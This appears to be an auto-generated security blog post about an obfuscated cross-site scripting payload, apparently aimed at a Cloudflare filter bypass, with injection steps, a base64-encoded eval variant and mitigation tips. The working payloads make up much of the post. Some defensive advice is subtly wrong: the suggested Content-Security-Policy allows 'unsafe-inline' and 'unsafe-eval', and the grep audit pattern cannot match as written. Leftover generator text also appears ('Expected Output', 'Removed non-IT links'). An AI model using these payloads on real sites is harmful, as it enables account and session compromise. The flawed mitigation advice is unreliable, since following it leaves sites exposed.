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"><iNput///type="password"////id="CF-bypaSS" name="query"////value=""///oNfocUs="alert('hello')" AutOfoCus="" />
You Should Know:
1. Understanding the Payload Structure
- Obfuscation: The payload uses mixed-case (
iNput,oNfocUs) and redundant slashes (///) to evade basic filters. - Event Trigger: The `onfocus` event executes JavaScript when the element gains focus.
2. Testing the Payload
Use this in a vulnerable input field:
<form action="/search"> <input type="text" name="query" value="TEST"> </form>
Inject:
"><iNput///type="password"////id="CF-bypaSS" name="query"////value=""///oNfocUs="alert('XSS')" AutOfoCus="" />
3. Mitigation Techniques
- Input Sanitization: Use libraries like DOMPurify:
const clean = DOMPurify.sanitize(userInput);
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval';
- Linux Command to Audit Logs for XSS:
grep -r "onfocus|onerror|javascript:" /var/log/nginx/
4. Advanced Obfuscation
Encode payloads with tools like `burp-decoder` or online encoders:
echo -n "alert('XSS')" | base64
Use in payload:
<img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'))>
5. Windows Command for XSS Detection
Scan web directories for vulnerable scripts:
findstr /s /i /m "onfocus.alert" .html
What Undercode Say
XSS remains a critical web vulnerability. Always:
1. Sanitize inputs rigorously.
2. Use CSP headers to restrict script execution.
3. Audit logs for suspicious patterns.
4. Test payloads in controlled environments.
For further learning, explore:
Expected Output:
A functional XSS bypass payload and mitigation steps for secure coding.
Note: Removed non-IT links (Instagram, WhatsApp). Expanded with practical commands and defensive measures.
References:
Reported By: Zlatanh This – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
